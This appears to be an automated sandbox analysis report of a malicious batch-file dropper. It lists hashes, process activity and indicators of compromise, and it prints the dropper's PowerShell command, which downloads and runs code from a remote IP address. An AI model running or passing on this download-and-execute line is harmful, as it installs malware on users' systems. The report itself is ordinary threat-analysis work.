b3a094f34f9fb134e07a2e0b414bcbf01c2097dd4b14f98127ecdeb46343d4cc

Analysis

Target

4eb6ba5ba6c21ac7744e462c7de7df9a.bat
Size

213B
MD5

c706ae9c80ccdfa7c936b7c8df7cfa76
SHA1

5ec96eaf49a1004e20f9be597ef6c78b7bf69e55
SHA256

b3a094f34f9fb134e07a2e0b414bcbf01c2097dd4b14f98127ecdeb46343d4cc
SHA512

6299207c06345ea343eadff3fb433da135526d9410b863388597cf41c8fb91313a78509c7c69aae221f083a90cc6347a1d31642bbdfc3ac7c8dc5a5188d01ff6

Score

10^/10

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/4eb6ba5ba6c21ac7744e462c7de7df9a

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 344 wrote to memory of 3864	344	cmd.exe	powershell.exe
PID 344 wrote to memory of 3864	344	cmd.exe	powershell.exe
PID 344 wrote to memory of 3864	344	cmd.exe	powershell.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3824 3864 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3824 WerFault.exe
Token: SeBackupPrivilege 3824 WerFault.exe
Token: SeDebugPrivilege 3824 WerFault.exe

pid	pid_target	process	target process
3824	3864	WerFault.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\4eb6ba5ba6c21ac7744e462c7de7df9a.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:344

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/4eb6ba5ba6c21ac7744e462c7de7df9a');Invoke-BUSJHY;Start-Sleep -s 10000"
2⤵
PID:3864

memory/3824-1-0x0000000004C40000-0x0000000004C41000-memory.dmp

Filesize
4KB

Download
memory/3824-7-0x0000000005270000-0x0000000005271000-memory.dmp

Filesize
4KB

Download
memory/3824-8-0x0000000005670000-0x0000000005671000-memory.dmp

Filesize
4KB

Download
memory/3864-0-0x0000000000000000-mapping.dmp

Download
memory/3864-3-0x0000000000000000-mapping.dmp

Download
memory/3864-2-0x0000000000000000-mapping.dmp

Download
memory/3864-4-0x0000000000000000-mapping.dmp

Download
memory/3864-5-0x0000000000000000-mapping.dmp

Download
memory/3864-6-0x0000000000000000-mapping.dmp

Download